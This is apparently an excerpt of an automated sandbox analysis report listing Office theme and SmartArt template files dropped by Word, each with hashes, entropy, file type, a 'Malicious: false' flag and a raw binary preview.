Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
